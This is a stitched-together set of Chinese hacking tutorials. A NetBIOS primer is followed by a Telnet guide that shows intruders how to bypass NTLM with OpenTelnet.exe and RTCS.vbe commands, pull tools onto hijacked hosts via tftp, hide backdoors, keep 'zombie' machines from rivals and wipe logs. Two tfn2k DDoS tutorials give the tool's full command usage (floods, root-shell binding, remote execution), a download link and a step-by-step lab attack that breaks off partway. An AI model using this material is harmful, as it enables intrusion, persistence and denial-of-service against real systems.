BE U Network Monitor Agent
BF U Network Monitor Apps
03 U Messenger Service
00 G Domain Name
1B U Domain Master Browser
1C G Domain Controllers
1D U Master Browser
1E G Browser Service Elections
1C G Internet Information Server
00 U Internet Information Server
[2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

独特的(u):该名仅有一个IP地址分给它。在网络设备中,一个名称的多次出现看来会被登记,
但后缀是唯一的,使整个名称唯一。

集合的(g):普通集合,一个名称可有多个IP地址。

多址的(M):名称是唯一的,但由于在同一计算机上有多个网络接口,这种配置应该被允许登记。
地址的最大数目是25。

Internet集合(I):这是组名的特殊配置,用在操作WINDOSNT的域名。

域名(D):在NT4.0中新引进的。

为了快速浏览一台服务器上登记的NETBIOS名称和服务,用以下命令:
nbstat -a [ipaddress]
nbstat -a [host]

[1.0.3] NetBIOS 会话

NetBIOS 会话服务提供给用户程序一种面向连接,可靠的,完全双重的信息服务。NetBIOS要求一
个是客户端程序,一个是服务器端程序。NetBIOS会话的建立需要双方预定的合作。一个程序必须
先发出listen命令,其他程序才可以发出call命令。listen命令参考在它的NetBIOS名称表中的名
称(或windows服务器中的),也参考用于作为会话另一端的远端程序的名称。如果聆听者不在聆
听,call命令将不会成功。如果call成功,各程序将接到会话id,以作为会话建立的确认。

send和receive命令操作传输数据。在会话最后,各程序将执行挂起命令。没有为会话服务的实际流
控制,因为假定局域网足够快,能够传输需要的数据。


[1.0.4] NetBIOS 数据报

数据报可以发送到特定的地点,或组中所有成员,或广播到整个局域网。与其它数据服务相比,NetBIOS
数据报是无连接,非可靠的。Send_Datagram 命令需要调用者设定目的名。如果目的名是组名,组中每
个成员都收到数据。Receive_Datagram 命令的调用者必须确定它接收数据的本地名。除了实际数据外,
Receive_Datagram也返回发送者的名称。如果NetBIOS收到数据,但却没有Receive_Datagram 命令在
等待,数据将被丢弃。

Send_Broadcast_Datagram 命令发送信息给本地网上每个NetBIOS系统。当NetBIOS节点收到广播数据,
发布Receive_Broadcast_Datagram 命令的每个进程都收到数据。如果当广播数据被收到时,没有这些
命令在运行,数据将被丢弃。

NetBIOS使应用程序能和另一个设备建立会话,使网络转发器和处理协议处理收到、发送到另一台机器的
请求。NetBIOS实际上不操作数据。NetBIOS定义规定了用来到达这些服务的协议的网络接口,而非协议
本身。历史上,NetBIOS曾与叫做NetBEUI的协议(网络扩展用户接口)捆绑。接口和协议的结合有时引
起混淆,但它们是不同的。

网络协议为定位、连接到网络上特定的服务提供至少一种方法。这通常由将节点和服务名转化为网络地址
(名称解析)完成。在连接用TCP/IP建立前,NetBIOS服务名必须解析成IP地址。大多数NetBIOS的TCP/IP
实现,用广播或LMHOSTS文件完成名称地址的解析。在Microsoft环境中,你最可能使用叫做WINS的NetBIOS
名称服务器。


[1.0.5] NetBEUI 解释

NetBEUI是网络操作系统使用的NetBIOS协议的加强版本。它规范了在NetBIOS 中未标准化的传输帧,还加
了额外的功能。传输层驱动器经常被Microsofts LAN Manager(微软局域网操作器)使用。NetBEUI执行
OSI LLC2 协议。NetBEUI是原始的PC网络协议和IBM为LanManger(局域网操作器)服务器设计的接口。本协
议稍后被微软采用作为它们的网络产品的标准。它规定了高层软件通过NetBIOS帧协议发送、接收信息的
方法。本协议运行在标准802.2数据链协议层上。


[1.0.6] NetBIOS 范围

NetBIOS范围ID为建立在TCP/IP(叫做NBT)模块上的NetBIOS提供额外的命名服务。NetBIOS范围ID的主要
目的是隔离单个网络上的NetBIOS通信和那些有相同NetBIOS范围ID的节点。NetBIOS范围ID是附加在NetBIOS
名称上的字符串。两个主机上的NetBIOS范围ID必须匹配,否则两主机无法通信。NetBIOS范围ID允许
计算机使用相同的计算机名,不同的范围ID。范围ID是NetBIOS名称的一部分,使名称唯一。

目录:

一 摘要
二 远程登录
三 Telnet协议
四 Win2000的Telnet服务
五 在telnet中该做什么
六 结束语




一 摘要

Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?


二 远程登录


Telnet服务虽然也属于客户机/服务器模型的服务,但它更大的意义在于实现了基于Telnet协议的远程登录(远程交互式计算),那么就让我们来认识一下远程登录。


1 远程登陆的基本概念


先来看看什么叫登录:分时系统允许多个用户同时使用一台计算机,为了保证系统的安全和记帐方便,系统要求每个用户有单独的帐号作为登录标识,系统还为每个用户指定了一个口令。用户在使用该系统之前要输入标识和口令,这个过程被称为’登录’。

远程登陆是指用户使用Telnet命令,使自己的计算机暂时成为远程主机的一个仿真终端的过程。仿真终端等效于一个非智能的机器,它只负责把用户输入的每个字符传递给主机,再将主机输出的每个信息回显在屏幕上。


2 远程登陆的产生及发展


我们可以先构想一个提供远程文字编辑的服务,这个服务的实现需要一个接受编辑文件请求和数据的服务器以及一个发送此请求的客户机。客户机将建立一个从本地机到服务器的TCP连接,当然这需要服务器的应答,然后向服务器发送键入的信息(文件编辑信息),并读取从服务器返回的输出。以上便是一个标准而普通的客户机/服务器模型的服务。

似乎有了客户机/服务器模型的服务,一切远程问题都可以解决了。然而实际并非你想象的那样简单,如果我们仅需要远程编辑文件,那么刚才所构想的服务完全可以胜任,但假如我们的要求并不是这么简单,我们还想实现远程用户管理,远程数据录入,远程系统维护,想实现一切可以在远程主机上实现的操作,那么我们将需要大量专用的服务器程序并为每一个可计算服务都使用一个服务器进程,随之而来的问题是:远程机器会很快对服务器进程应接不暇,并淹没在进程的海洋里(我们在这里排除最专业化的远程机器)。

那么有没有办法解决呢?当然有,我们可以用远程登录来解决这一切。我们允许用户在远地机器上建立一个登录会话,然后通过执行命令来实现更一般的服务,就像在本地操作一样。这样,我们便可以访问远地系统上所有可用的命令,并且系统设计员不需提供多个专用地服务器程序。

问题发展到这里好像前途一片光明了,用远程登录总应该解决问题了吧,但要实现远程登陆并不简单。不考虑网络设计的计算机系统期望用户只从直接相连的键盘和显示器上登录,在这种机器上增加远程登陆功能需要修改机器的操作系统,这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远程登陆服务器软件,虽然这样也是比较困难的。为什么说这样做也比较困难呢?

举个例子来说:一般,操作系统会为一些特殊按键分配特殊的含义,比如本地系统将’Ctrl+C’解释为:’终止当前运行的命令进程’。但假设我们已经运行了远程登陆服务器软件,’Ctrl+C’也有可能无法被传送到远地机器,如果客户机真的将’Ctrl+C’传到了远地机器,那么’Ctrl+C’这个命令有可能不能终止本地的进程,也就是说在这里很可能会产生混乱。而且这仅仅是遇到的难题之一。

但尽管有技术上的困难,系统编程人员还是设法构造了能够应用于大多数操作系统的远程登陆服务器软件,并构造了充当客户机的应用软件。通常,客户机软件取消了除一个键以外的所有键的本地解释,并将这些本地解释相应的转换成远地解释,这就使得客户机软件与远地机器的交互,就如同坐在远程主机面前一样,从而避免了上述所提到的混乱。而那个唯一例外的键,可以使用户回到本地环境。

将远程登陆服务器设计为应用级软件,还有另一个要求,那就是需要操作系统提供对伪终端(pseudo terminal)的支持。我们用伪终端描述操作系统的入口点,它允许像Telnet服务器一样的程序向操作系统传送字符,并且使得字符像是来自本地键盘一样。只有使用这样的操作系统,才能将远程登陆服务器设计为应用级软件(比如Telnet服务器软件),否则,本地操作系统和远地系统传送将不能识别从对方传送过来的信息(因为它们仅能识别从本地键盘所键入的信息),远程登陆将宣告失败。

将远程登陆服务器设计为应用级软件虽然有其显著的优点:比将代码嵌入操作系统更易修改和控制服务器。但其也有效率不高的缺点(后面的内容将会给予解释),好在用户键入信息的速率不高,这种设计还是可以接受的。


3 远程登录的工作过程


使用Telnet协议进行远程登陆时需要满足以下条件:在本的计算机上必须装有包含Telnet协议的客户程序;必须知道远程主机的Ip地址或域名;必须知道登录标识与口令。

Telnet远程登录服务分为以下4个过程:

1)本地与远程主机建立连接。该过程实际上是建立一个TCP连接,用户必须知道远程主机的Ip地址或域名;

2)将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT(Net Virtual Terminal)格式传送到远程主机。该过程实际上是从本地主机向远程主机发送一个IP数据报;

3)将远程主机输出的NVT格式的数据转化为本地所接受的格式送回本地终端,包括输入命令回显和命令执行结果;

4)最后,本地终端对远程主机进行撤消连接。该过程是撤销一个TCP连接。


上面的内容只是讨论了远程登陆最基本的东西,其中的复杂和编程人员的艰辛是我们难以想象的,不知道你在舒服的使用Telnet的同时,是否想到了这些!


三 Telnet协议


我们知道Telnet服务器软件是我们最常用的远程登录服务器软件,是一种典型的客户机/服务器模型的服务,它应用Telnet协议来工作。那么,什么是Telnet协议?它都具备哪些特点呢?


1 基本内容


Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议。应用Telnet协议能够把本地用户所使用的计算机变成远程主机系统的一个终端。它提供了三种基本服务:

1)Telnet定义一个网络虚拟终端为远的系统提供一个标准接口。客户机程序不必详细了解远的系统,他们只需构造使用标准接口的程序;

2)Telnet包括一个允许客户机和服务器协商选项的机制,而且它还提供一组标准选项;

3)Telnet对称处理连接的两端,即Telnet不强迫客户机从键盘输入,也不强迫客户机在屏幕上显示输出。


2 适应异构


为了使多个操作系统间的Telnet交互操作成为可能,就必须详细了解异构计算机和操作系统。比如,一些操作系统需要每行文本用ASCII回车控制符(CR)结束,另一些系统则需要使用ASCII换行符(LF),还有一些系统需要用两个字符的序列回车-换行(CR-LF);再比如,大多数操作系统为用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系统中有可能不同(一些系统使用CTRL+C,而另一些系统使用ESCAPE)。如果不考虑系统间的异构性,那么在本地发出的字符或命令,传送到远地并被远地系统解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决这个问题。

为了适应异构环境,Telnet协议定义了数据和命令在Internet上的传输方式,此定义被称作网络虚拟终端NVT(Net Virtual Terminal)。它的应用过程如下:

对于发送的数据:客户机软件把来自用户终端的按键和命令序列转换为NVT格式,并发送到服务器,服务器软件将收到的数据和命令,从NVT格式转换为远地系统需要的格式;
对于返回的数据:远地服务器将数据从远地机器的格式转换为NVT格式,而本地客户机将将接收到的NVT格式数据再转换为本地的格式。
对于NVT格式的详细定义,有兴趣的朋友可以去查找相关资料。


3 传送远地命令


我们知道绝大多数操作系统都提供各种快捷键来实现相应的控制命令,当用户在本地终端键入这些快捷键的时候,本地系统将执行相应的控制命令,而不把这些快捷键作为输入。那么对于Telnet来说,它是用什么来实现控制命令的远地传送呢?

Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包括95个可打印字符和33个控制码。当用户从本地键入普通字符时,NVT将按照其原始含义传送;当用户键入快捷键(组合键)时,NVT将把它转化为特殊的ASCII字符在网络上传送,并在其到达远地机器后转化为相应的控制命令。将正常ASCII字符集与控制命令区分主要有两个原因:

1)这种区分意味着Telnet具有更大的灵活性:它可在客户机与服务器间传送所有可能的ASCII字符以及所有控制功能;

2)这种区分使得客户机可以无二义性的指定信令,而不会产生控制功能与普通字符的混乱。


4 数据流向


上面我们提到过将Telnet设计为应用级软件有一个缺点,那就是:效率不高。这是为什么呢?下面给出Telnet中的数据流向:

数据信息被用户从本地键盘键入并通过操作系统传到客户机程序,客户机程序将其处理后返回操作系统,并由操作系统经过网络传送到远地机器,远地操作系统将所接收数据传给服务器程序,并经服务器程序再次处理后返回到操作系统上的伪终端入口点,最后,远地操作系统将数据传送到用户正在运行的应用程序,这便是一次完整的输入过程;输出将按照同一通路从服务器传送到客户机。

因为每一次的输入和输出,计算机将切换进程环境好几次,这个开销是很昂贵的。还好用户的键入速率并不算高,这个缺点我们仍然能够接受。


5 强制命令


我们应该考虑到这样一种情况:假设本地用户运行了远地机器的一个无休止循环的错误命令或程序,且此命令或程序已经停止读取输入,那么操作系统的缓冲区可能因此而被占满,如果这样,远地服务器也无法再将数据写入伪终端,并且最终导致停止从TCP连接读取数据,TCP连接的缓冲区最终也会被占满,从而导致阻止数据流流入此连接。如果以上事情真的发生了,那么本地用户将失去对远地机器的控制。

为了解决此问题,Telnet协议必须使用外带信令以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被称为数据标记(date mark)的保留八位组,并通过让TCP发送已设置紧急数据比特的报文段通知服务器便可以了,携带紧急数据的报文段将绕过流量控制直接到达服务器。作为对紧急信令的相应,服务器将读取并抛弃所有数据,直到找到了一个数据标记。服务器在遇到了数据标记后将返回正常的处理过程。


6 选项协商


由于Telnet两端的机器和操作系统的异构性,使得Telnet不可能也不应该严格规定每一个telnet连接的详细配置,否则将大大影响Telnet的适应异构性。因此,Telnet采用选项协商机制来解决这一问题。

Telnet选项的范围很广:一些选项扩充了大方向的功能,而一些选项制涉及一些微小细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向);还有一个选项允许远地机器上的服务器决定用户终端类型(小细节)。

Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对称的,即任何一端都可以发出协商申请;任何一端都可以接受或拒绝这个申请。另外,如果一端试图协商另一端不了解的选项,接受请求的一端可简单的拒绝协商。因此,有可能将更新,更复杂的Telnet客户机服务器版本与较老的,不太复杂的版本进行交互操作。如果客户机和服务器都理解新的选项,可能会对交互有所改善。否则,它们将一起转到效率较低但可工作的方式下运行。所有的这些设计,都是为了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要。

上面讨论了一些原理方面的东西,虽然我们在Telnet的使用过程中很难接触到这一层面,但我认为了解这些是有意义的,它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务。


(本系列教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区 http://ccbirds.yeah.net)


四 Win2000的Telnet服务

其实从应用层面上,Win2000的Telnet服务并没有什么可说的,绝大部分内容你都可以从HELP文件中得到,我在此只是把它稍微整理一下而已。


1 基本配置


Win2000为我们提供了Telnet客户机和服务器程序:Telnet.exe是客户机程序(Client),tlntsvr.exe是服务器程序(server),同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe。

Windows 2000 默认安装了 Telnet 服务,但是并没有默认启动。下面给出HELP文件中 Telnet 服务的一部分默认设置:

AllowTrustedDomain:是否允许域用户访问。默认值是1,允许信任域用户访问。可以改为0: 不允许域用户访问(只允许本地用户)。

DefaultDomain:可以对与该计算机具有信任关系的任何域设置。默认值是"."。

DefaultShell:显示 shell 安装的路径位置。默认值是: %systemroot%\System32\Cmd.exe /q /k

MaxFailedLogins:在连接终止之前显示尝试登录失败的最大次数。默认是3。

LoginScript:显示 Telnet 服务器登录脚本的路径位置。默认的位置就是“%systemroot%\System32\login.cmd”,你可以更改脚本内容,这样登录进Telnet的欢迎屏幕就不一样了。

NTLM:NTLM身份验证选项。默认是2。可以有下面这些值:
0: 不使用 NTLM 身份验证。
1: 先尝试 NTLM 身份验证,如果失败,再使用用户名和密码。
2: 只使用 NTLM 身份验证。

TelnetPort:显示 telnet 服务器侦听 telnet 请求的端口。默认是:23。你也可以更改为其他端口。

以上各项设置你可以使用tlntadmn.exe(Telnet服务器管理程序)来进行非常方便的配置,配置后需要重新启动Telnet服务。如图1


2 NTLM


提到了telnet就不能不提NTLM,我想这也是让入侵者最为头痛的一件事,哪怕你获得了管理员帐号和密码,想简单通过NTLM也并非易事,况且win2000中的telnet默认仅以NTLM方式验证身份,这就让我们不得不关注NTLM这个东东,那么什么是NTLM呢?

早期的SMB协议在网络上明文传输口令,后来出现了"LAN Manager Challenge/Response"验证机制,简称LM,它十分简单以至很容易被破解,微软随后提出了WindowsNT挑战/响应验证机制,即NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。NTLM工作流程是这样的:

1、客户端首先在本地加密当前用户的密码成为密码散列
2、客户端向服务器发送自己的帐号,这个帐号是没有经过加密的,明文直接传输
3、服务器产生一个16位的随机数字发送给客户端,作为一个 challenge(挑战)
4、客户端再用加密后的密码散列来加密这个 challenge ,然后把这个返回给服务器。作为 response(响应)
5、服务器把用户名、给客户端的challenge 、客户端返回的 response 这三个东西,发送域控制器
6、域控制器用这个用户名在 SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密 challenge。
7、域控制器比较两次加密的 challenge ,如果一样,那么认证成功。

从上面的过程我们可以看出,NTLM是以当前用户的身份向Telnet服务器发送登录请求的,而不是用你扫到的对方管理员的帐户和密码登录,显然,你的登录将会失败。举个例子来说,你家的机器名为A(本地机器),你入侵的机器名为B(远地机器),你在A上的帐户是xinxin,密码是1234,你扫到B的管理员帐号是Administrator,密码是5678,当你想Telnet到B时,NTLM将自动以当前用户的帐号和密码作为登录的凭据来进行上面的7项操作,即用xinxin和1234,而并非用你扫到的Administrator和5678,且这些都是自动完成的,根本不给你插手的机会,因此你的登录操作将失败。

由于Telnet服务器对NTLM的使用有3个选项,所以当你Telnet远地机器时,会显示下面情况中的一种:

1)身份验证选项=0时
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\为0时不使用NTML身份验证,直接输入用户名和密码,比如你可以输入扫到的Administrator和5678


2)身份验证选项=1时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:

\\先尝试 NTLM 身份验证,如果失败,再使用用户名和密码,其实这种方式对于我们来说,与上一种方式没什么区别


3)身份验证选项=2时
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遗失对主机的连接。
C:\>

\\仔细看看上面的显示,根本没有给你输入用户名和密码的机会,直接断开连接,扫到了密码也是白扫

所以对于入侵者来说,NTLM是横在我们面前的一座大山,必须要除掉它,一般我们有如下几种方法:

1通过修改远程注册表更改telnet服务器配置,将验证方式从2改为1或0;
2使用NTLM.exe,上传后直接运行,可将telnet服务器验证方式从2改为1;
3在本地建立扫描到的用户,以此用户身份开启telnet客户机并进行远程登录;
4使用软件,比如opentelnet.exe(需要管理员权限且开启IPC管道)
5使用脚本,如RTCS,(需要管理员权限但不依赖IPC管道)

基本上是以上的5种,其中后两种是我们比较常用的开telnet的手法,而且使用方法十分简单,命令如下:

OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服务器地址 管理员用户名 密码 验证方式(填0或1) telnet端口

cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目标IP> <管理员用户名> <密码> <验证方式> <tlnet端口>


五 在telnet中该做什么


本来写到上面就想结束了,不过许多朋友都说telnet上去后不知道该做什么了,既然这样,那我就抛砖引玉吧,这次不讲具体做法,只是说说思路,什么?为什么不讲具体做法?篇幅不够嘛,以后我会一一解释的。


1 查看系统信息


呵呵,其实就是随处看看,看看他的系统配置和版本(用type c:\boot.ini来知道pro版或server版),看看都装了什么服务或软件(从目录名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是国外的机器,看也看不懂),看看他的用户情况,总之就是尽可能多的了解系统,为一会装后门摸底。


2 使用tftp传送文件


想必大家都遇到过在telnet中传输文件的问题,因为我们习惯了在ipc管道中的文件传输,所以有些朋友喜欢用net share ipc$ 来打开管道,进而利用copy来传输文件。不过这样反而麻烦,既然我们已经得到了shell,我们可以用TFPT命令来完成这一切,什么是TFTP呢?


用TFTP(Trivial File Transfer Protocol)来实现文件的传送是一种基于UDP连接的文件传输,一般是使用Windows自带的tftp.exe和一个TFTP服务器端软件构成一个完整的传输结构。它是这样使用的: 首先运行本地的TFTP Server(比如tftpd32.exe)软件并保证始终开启直至传输全部完成, 然后在telnet中(当然你也可以在其他shell中)运行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip为你自己机器的ip,且上传文件要与TFTP服务器端在同一目录下,这样你就可以把xinxin.exe上传到c盘abc目录下了(其实是从tftp服务器下载来的)

需要指出的是,如果使用代理IP,你将不能实现与外部网络的文件传送。因为你的代理网关在进行数据封装的时候会将自己的IP地址加入到你的数据报中,代替你的内部网络地址,所以在外部网络进行MAC寻址时是找不到你这台TFTP服务器的。


3 安置后门


安置后门放在第二步好像早了点,如果你入侵还有其他目的,比如以破坏为主,或者是来修改主页的,那么这些事情当然可以在安置后门之前做;如果你只是想得到一只肉鸡,那就没什么可说的了,安后门吧。

后门的种类繁多,也给我们提供了很大的选择余地,能够根据具体情况选择合适的后门的确是一门学问。常用的后门一般有:木马,asp木马,远程控制软件,克隆帐户,建立并隐藏帐户,telnet,telnet扩展的shell,终端服务等。安置一个好的后门通常要注意以下几点:

1 不会被防火墙查杀及阻碍通信:被加入病毒库的后门最好加壳以逃过防火墙,尽量用低端口通信,以免被防火墙屏蔽。

2 最大限度增加隐蔽性:如果你选择远程控制软件,要注意被控端的安装提示和小图标,以及是否同步画面;如果你在帐户上做文章,要尽量保持在cmd和用户管理中都不出破绽;如果你选择放木马或telnet扩展,要注意文件和进程的隐藏;如果新开了终端服务(入侵前并没有开),一定要该掉3389这个显眼的端口,且越低越好。

3 不要当管理员不存在:这是一个大忌,许多朋友在只有默认帐户的机器上建立类似’hacking’的管理员帐户,真是无知者无畏呀。所以安置后门的时候,想想管理员疏忽的地方会在哪里。


4 打补丁


如果想独霸肉鸡,就要会打补丁,要知道对肉鸡的竞争是很激烈的。怎么打补丁呢?这个也要问?想想你是怎么进来的吧。算了,提示一下,除了修补大的漏洞以外(上传官方补丁并运行),也要注意它的共享,ipc$共享(最好都关闭),可疑端口,容易被利用的服务等。不过打补丁也要注意隐蔽性的,不要让管理员发现大的改动。


5 清除日志


可以手动或利用软件,如果不太会就去找相关教材吧,在这里我不详细介绍了。


六 结束语


文章的前部分主要说了一些原理性的东西,后部分则侧重于应用,写的多了难免会有些遗漏,如果你觉得哪里还需要补充,或者哪里不明白,请回帖告诉我哟!!

tfn2k使用方法和对策(1)



作者:佳佳



今年年初,一些黑客使用DDoS向Yahoo,eBay等著名站点发起攻击,并且使yahoo瘫痪。1999.10
月ISS就预言DDoS将成为2000年最流行的攻击手法。国内近期也发生了许多DDoS事件。佳佳刚考完Toefl可
以清闲几天,于是就整理一下几个著名工具的代码,汇报被大家。
  这里佳佳主要介绍tfn2k,因为它最著名嘛!主要分为使用说明,攻击实例,程序分析,防范手段等几
部分。

简介:
  TFN被认为是当今功能最强性能最好的DoS攻击工具,几乎不可能被察觉。作者发布这个工具的出发点
是什么呢?作者向你保证它不会伤害公司或个人。但是它会吓一吓那些不关心系统安全的人,因为现在精
密的工具被不断改善,并且被私人持有,他们许多都是不可预测的。现在是每一个人都清醒的时候了,每
一个人都应该意识到假如他不足够关心他的安全问题,最坏的情形就会发生。
  因此这个程序被设计成大多数的操作系统可以编译,以表明现在的操作系统没有特别安全的,包括
Windows,Solaris,Linux及其他各种unix.

特点描述:
  TFN使用了分布式客户服务器功能,加密技术及其它类的功能,它能被用于控制任意数量的远程机器,
以产生随机匿名的拒绝服务攻击和远程访问。

此版本的新特点包括:
1。功能性增加:
   为分布式执行控制的远程单路命令执行
   对软弱路由器的混合攻击
   对有IP栈弱点的系统发动Targa3攻击
   对许多unix系统和WinNT的兼容性。
2。匿名秘密的客户服务器通讯使用:
   假的源地址
   高级加密
   单路通讯协议
   通过随机IP协议发送消息
   诱骗包

编译:
  在编译之前,先要编辑src/makefile文件修改选项符合你的操作系统。建议你看一下src/config.h然
后修改一些重要的缺省值。
  一旦你开始编译,你会被提示输入一个8–32位的服务器密码。如果你使用REQUIRE_PASS类型编译,在
使用客户端时你必须输入这个密码。

安装:
  TFN服务器端被安装运行于主机,身份是root(或euid root)。
它将用自己的方式提交系统配置的改变,于是如果系统重启你也得重启。一旦服务器端被安装,你就可以
把主机名加入你的列表了(当然你也可以联系单个的服务器端)。TFN的客户端可以运行在shell(root)和
Windows命令行(管理员权限需要在NT上).

使用客户端:
  客户端用于联系服务器端,可以改变服务器端的配置,衍生一个shell,控制攻击许多其它的机器。你
可以tfn -f file从一个主机名文件读取主机名,也可以使用tfn -h hostname联系一个服务器端。

  缺省的命令是通过杀死所有的子线程停止攻击。命令一般用-c .
请看下面的命令行描述。 选项-i需要给命令一个值,分析目标主机字符串,这个目标主机字符串缺省用
分界符@。
当使用smurf flood时,只有第一个是被攻击主机,其余被用于直接广播。
ID 1 -反欺骗级:服务器产生的DoS攻击总是来源于虚假的源地址。通过这个命令,你可以控制IP地址的
哪些部分是虚假的,哪些部分是真实的IP。
ID 2 -改变包尺寸:缺省的ICMP/8,smurf,udp攻击缺省使用最小包。你可以通过改变每个包的有效载荷
的字节增加它的大小。
ID 3 - 绑定root shell:启动一个会话服务,然后你连接一个指定端口就可以得到一个root shell。
ID 4 - UDP flood 攻击:这个攻击是利用这样一个事实:每个udp包被送往一个关闭的端口,这样就
会有一个ICMP不可到达的信息返回,增加了攻击的能力。
ID5 - SYN flood 攻击:这个攻击有规律的送虚假的连接请求。结果会是目标端口拒绝服务,添瞒TCP
连接表,通过对不存在主机的TCP/RST响应增加攻击潜力。
ID 6 - ICMP响应(ping)攻击:这个攻击发送虚假地址的ping请求,目标主机会回送相同大小的响应包

ID 7 - SMURF 攻击:用目标主机的地址发送ping请求以广播扩大,这样目标主机将得到回复一个多倍
的回复。
ID 8 - MIX攻击:按照1:1:1的关系交替的发送udp,syn,icmp包,这样就可以对付路由器,其它包转发
设备,NIDS,sniffers等。
ID 9 -TARGA3攻击
ID 10 - 远程命令执行:给予单路在服务器上执行大量远程命令的机会。更复杂的用法请看4.1节。
更多的选项请看命令行帮助。

使用tfn用于分布式任务
Using TFN for other distributed tasks
     依照CERT的安全报告,新版本的DDOS工具包含一个最新流行的特点:软件的自我更新。
TFN也有这个功能,作者并没有显式的包含这个功能。在ID 10远程执行命令中给予用户在任意数量远程主
机上以批处理的形式执行同样shell命令的能力。这同时也证明了一个问题:DDOS等类似的分布式网络工具
不仅仅简单的用于拒绝服务,还可以做许多实际的事情。

使用方法:
usage: ./tfn 
[-P protocol] Protocol for server communication. Can be ICMP, UDP or TCP.
Uses a random protocol as default
[-D n] Send out n bogus requests for each real one to decoy targets
[-S host/ip] Specify your source IP. Randomly spoofed by default, you need
to use your real IP if you are behind spoof-filtering routers
[-f hostlist] Filename containing a list of hosts with TFN servers to contact
[-h hostname] To contact only a single host running a TFN server
[-i target string] Contains options/targets separated by ’@', see below
[-p port] A TCP destination port can be specified for SYN floods
<-c command ID> 0 - Halt all current floods on server(s) immediately
1 - Change IP antispoof-level (evade rfc2267 filtering)
usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)
2 - Change Packet size, usage: -i 
3 - Bind root shell to a port, usage: -i 
4 - UDP flood, usage: -i victim@victim2@victim3@…
5 - TCP/SYN flood, usage: -i victim@… [-p destination port]
6 - ICMP/PING flood, usage: -i victim@…
7 - ICMP/SMURF flood, usage: -i victim@broadcast@broadcast2@…
8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim@…
9 - TARGA3 flood (IP stack penetration), usage: -i victim@…
10 - Blindly execute remote shell command, usage -i command


  看到这里,你是不是有许多不明白,这上面只是佳佳把原作者(mixter)的使用说明大致翻译了一下,
一些东西,象新特点呀,新增功能呀,知不知道无所谓啦!以后再看吧!
  下一篇文章呢,佳佳会给出一次详细的攻击过程,是佳佳在Linux上测试的。可是重点的重点啊!等着
吧。。。
                                           jjgirl
 10.24.2000
                                           
jjgirl@363.net
                                           
http://jjgirl.yeah.net

对了,补充一点。下载地址:http://packetstorm.securify.com/groups/mixter/tfn.tgz

tfn2k使用方法和对策(2)



作者:佳佳


    佳佳继续上一次的文章,这一次是攻击测试。

测试环境:
    共有5台机器,佳佳是在五台redhat linux6.2上测试的。
    192.168.111.1
    192.168.111.2
    192.168.111.3
    192.168.111.55
    192.168.111.88


测试目的:?????(感受一下yahoo怎么被攻击的)


简要介绍:
    我们的测试目的是用192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
三台机器对192.168.111.88发动攻击。(实际攻击中就不止三台了。)
    因此我们的步骤如下:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。也
就是我们俗称的“肉鸡”。
1。编译代码。
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
3。在192.168.111.55安装tfn。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3
对192.168.111.88发动攻击。
5。攻击结束。

详细步骤:
0。黑客攻击时事先要控制192.168.111.1,192.168.111.2,192.168.111.3,192.168.111.55这四台机器。 
    这一步我就不说了,大家一定有办法。。。
1。编译代码。
    假设在192.168.112.55上。。。
首先一定要有root权限
$su
#
解开文件:
#tar zxvf tfn2k.tgz
#cd tfn2k
如果你不是linux或者bsd请修改src下的Makefile文件。(有一网友问佳佳,solaris为什么不行。如果你修
改了Makefile,把linux改成了solaris仍然不行,佳佳也不知道了,因为佳佳没有solaris的测试环境。)
#make
make过程中会让你输入一个密码,8–32位的。那就输入一个吧,将来tfn和td联系时需要这个密码。我输
入的是:aaaabbbb
make完成你会发现,多了两个可执行文件:tfn,td
2。在192.168.111.1,192.168.111.2,192.168.111.3上安装td。
#ftp 192.168.111.1
ftp>bin
fpt>put td
ftp>by
ftp的具体步骤我就不说了,大家一定都知道。
同样方法:ftp 192.168.111.2
         ftp 192.168.111.3
然后在分别在192.168.111.1,192.168.111.2,192.168.111.3上
#./td
注意一定要有root权限,否则无法运行。
3。在192.168.111.55安装tfn。
    由于我们是在192.168.111.55上编译的,tfn就已经在了。
4。由192.168.111.55指挥192.168.111.1,192.168.111.2,192.168.111.3对192.168.111.88发动攻击。
    好了,我们终于完成了准备工作,攻击可以开始了。。。
我现在在192.168.111.55的/tfn2k/目录下。。。
我们需要编辑一个文件列表。
#vi hosts.txt
